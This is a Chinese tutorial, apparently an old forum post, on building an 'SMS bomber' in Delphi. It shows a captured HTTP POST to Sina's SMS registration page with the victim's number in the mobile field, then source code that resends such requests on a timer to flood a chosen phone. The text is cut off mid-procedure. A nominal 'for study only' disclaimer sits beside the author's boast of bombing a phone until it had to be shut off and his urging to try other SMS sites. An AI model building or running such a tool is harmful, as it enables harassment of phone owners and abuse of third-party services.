利用网站短信漏洞,做自己的手机短信轰炸机
昨天晚上在水源看到有人在传播短信轰炸机,见http://expert.csdn.net/expert/topic/1851/1851433.xml?temp=.7669336,一时心血来潮,自己也写一个把,声明:在写这篇文章之前,该篇文章只用于学习,任何用于非法骚扰别人的行为,后果自负,与本人无关,警告大家不要用于违法行为。
该软件目前主要用于对新浪短信网络,大家可以多试一下其他网站的短信服务,比如263,搜虎,雅虎,西陆,中国短信网等,目前新浪,雅虎对此已有限制,可以说短信轰炸功能已完全失效,新浪现在限制一个ip只能注册5次,除非你采用动态拨号啊,如果他们采用输入附加码验证的功能,我们就更没有好的办法了,呵呵~~~
大家先看一下在新浪网注册短信时截获的信息把~~
/cgi-bin/sms/register.cgi http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
referer: http://sms.sina.com.cn/docs/register.html
accept-language: zh-cn
content-type: application/x-www-form-urlencoded
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0; .net clr 1.1.4322)
host: sms.sina.com.cn
content-length: 34
connection: keep-alive
cache-control: no-cache
cookie: smslogin=0; usrtype=c
mobile=13666666666&lang=1&ad_tag=1
以上的内容我就不详细介绍了,相比大家都能看懂,请注意mobile=13666666666,这就是你要轰炸的手机号码,主机是:sms.sina.com.cn
,提交页面: /cgi-bin/sms/register.cgi http/1.1
我们现在要做的就是构造http短信包,然后利用delphi5的clientsocket控件发送到新浪的短信服务器的80端口即可,很简单的啊 :)
窗口控件:
一个clientsocket控件,一个ttimer,两个文本框,一个用于输入手机号,一个输入延时,还有两个按纽。
截图如下:

原代码部分:
unit smsbomber;
interface
uses
windows, messages, sysutils, classes, graphics, controls, forms, dialogs,
scktcomp, nmurl, stdctrls, comctrls, extctrls;
type
tform1 = class(tform)
url: tnmurl;
clientsocket1: tclientsocket;
label1: tlabel;
edit1: tedit;
button1: tbutton;
button2: tbutton;
statusbar1: tstatusbar;
timer1: ttimer;
label2: tlabel;
edit2: tedit;
procedure button1click(sender: tobject);
procedure clientsocket1error(sender: tobject; socket: tcustomwinsocket;
errorevent: terrorevent; var errorcode: integer);
procedure clientsocket1read(sender: tobject; socket: tcustomwinsocket);
procedure button2click(sender: tobject);
procedure clientsocket1connect(sender: tobject;
socket: tcustomwinsocket);
procedure timer1timer(sender: tobject);
procedure edit1keypress(sender: tobject; var key: char);
procedure edit2keypress(sender: tobject; var key: char);
private
{ private declarations }
procedure buildhttpheadforsina();
procedure buildhttpheadfor263();
public
{ public declarations }
end;
var
form1: tform1;
implementation
{$r *.dfm}
procedure tform1.button1click(sender: tobject);
begin
if edit1.text='' then
begin
showmessage('手机号不能为空!');
exit;
end;
clientsocket1.active:=true;
timer1timer(sender);
end;
procedure tform1.clientsocket1error(sender: tobject;
socket: tcustomwinsocket; errorevent: terrorevent;
var errorcode: integer);
begin
statusbar1.simpletext:='连接出错!';
errorcode:=0;
end;
procedure tform1.clientsocket1read(sender: tobject;
socket: tcustomwinsocket);
var
s:string;
begin
s:=socket.receivetext;
if pos('成功',s)<>0 then
begin
clientsocket1.active :=false;
statusbar1.simpletext:='发送成功!';
clientsocket1.active:=true;
end else
begin
statusbar1.simpletext:='发送失败!';
clientsocket1.active:=false;
end;
end;
procedure tform1.button2click(sender: tobject);
begin
close;
end;
//针对新浪网的短信轰炸,非常好用,笔者刚调试完曾对自己的手机进行过一番狂轰乱炸,效果十分明显,迫使不得不关机,不过目前已经不灵了啊 :)
procedure tform1.buildhttpheadforsina;
var
sends,sendc:string;
begin
//http头信息
sends:='post /cgi-bin/sms/register.cgi http/1.1'+#13#10;